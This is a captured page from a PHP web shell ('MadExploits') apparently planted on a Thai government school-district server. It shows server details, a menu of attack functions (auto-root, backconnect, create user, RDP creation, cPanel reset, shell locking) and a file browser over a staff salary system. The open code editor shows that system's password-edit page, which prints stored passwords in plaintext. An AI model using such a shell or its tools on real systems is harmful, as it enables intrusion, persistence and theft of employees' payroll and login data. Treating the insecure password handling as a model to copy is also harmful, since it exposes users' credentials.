Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
salary29 /
admin1 /
[ HOME SHELL ]
Name
Size
Permission
Action
_notes
[ DIR ]
drwxr-xr-x
apr2020.php
11.15
KB
-rw-r--r--
edituser.php
5.83
KB
-rw-r--r--
edituser.php.bak
5.83
KB
-rw-r--r--
index.php
6.33
KB
-rw-r--r--
logo2.png
229.12
KB
-rw-r--r--
main.php
8.84
KB
-rw-r--r--
mar2020.php
11.16
KB
-rw-r--r--
nouser.php
6.72
KB
-rw-r--r--
spt.jpg
22.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edituser.php.bak
<?php require_once('../Connections/Connecdata.php'); ?> <?php if (!isset($_SESSION)) { session_start(); } $MM_authorizedUsers = ""; $MM_donotCheckaccess = "true"; // *** Restrict Access To Page: Grant or deny access to this page function isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { // For security, start by assuming the visitor is NOT authorized. $isValid = False; // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. // Therefore, we know that a user is NOT logged in if that Session variable is blank. if (!empty($UserName)) { // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. // Parse the strings into arrays. $arrUsers = Explode(",", $strUsers); $arrGroups = Explode(",", $strGroups); if (in_array($UserName, $arrUsers)) { $isValid = true; } // Or, you may restrict access to only certain users based on their username. if (in_array($UserGroup, $arrGroups)) { $isValid = true; } if (($strUsers == "") && true) { $isValid = true; } } return $isValid; } $MM_restrictGoTo = "index.php"; if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) { $MM_qsChar = "?"; $MM_referrer = $_SERVER['PHP_SELF']; if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&"; if (isset($_SERVER['QUERY_STRING']) && strlen($_SERVER['QUERY_STRING']) > 0) $MM_referrer .= "?" . $_SERVER['QUERY_STRING']; $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer); header("Location: ". $MM_restrictGoTo); exit; } ?> <?php if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION < 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "form2")) { $updateSQL = sprintf("UPDATE username-password SET pass=%s WHERE id=%s", GetSQLValueString($_POST['pass'], "double"), GetSQLValueString($_POST['id'], "int")); mysql_select_db($database_Connecdata, $Connecdata); $Result1 = mysql_query($updateSQL, $Connecdata) or die(mysql_error()); $updateGoTo = "main.php"; if (isset($_SERVER['QUERY_STRING'])) { $updateGoTo .= (strpos($updateGoTo, '?')) ? "&" : "?"; $updateGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $updateGoTo)); } $colname_Recordset1 = "-1"; if (isset($_SESSION['MM_Username'])) { $colname_Recordset1 = $_SESSION['MM_Username']; } mysql_select_db($database_Connecdata, $Connecdata); $query_Recordset1 = sprintf("SELECT * FROM username-password WHERE `user` = %s", GetSQLValueString($colname_Recordset1, "double")); $Recordset1 = mysql_query($query_Recordset1, $Connecdata) or die(mysql_error()); $row_Recordset1 = mysql_fetch_assoc($Recordset1); $totalRows_Recordset1 = mysql_num_rows($Recordset1); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>:: สลิปเงินเดือนพนักงานราชการ ลูกจ้าง สพม.29 ::</title> </head> <body> <table width="100%" border="0"> <tr> <td align="center"><table width="70%" border="1"> <tr> <td align="center" bgcolor="#FF9900">ระบบแจ้งยอดเงินเดือน ออนไลน์ </td> </tr> <tr> <td align="center"><form action="/salary_online/edit_user.php?" id="form1" name="form1" method="POST"> <p><br /> แก้ไขรหัสผ่านคุณ <br /> </p> </form> <form action="<?php echo $editFormAction; ?>" method="post" name="form2" id="form2"> <table align="center"> <tr valign="baseline"> <td nowrap="nowrap" align="right">password ใหม่:</td> <td><input type="text" name="pass" value="<?php echo htmlentities($row_Recordset1['pass']); ?>" size="32" /></td> </tr> <tr valign="baseline"> <td nowrap="nowrap" align="right"> </td> <td align="center"><input type="submit" value="แก้ไข" /></td> </tr> </table> <input type="hidden" name="MM_update" value="form2" /> <input type="hidden" name="id" value="<?php echo $row_Recordset1['id']; ?>" /> </form> <p> </p></td> </tr> </table></td> </tr> </table> </body> </html> <?php mysql_free_result($Recordset1); ?>
Close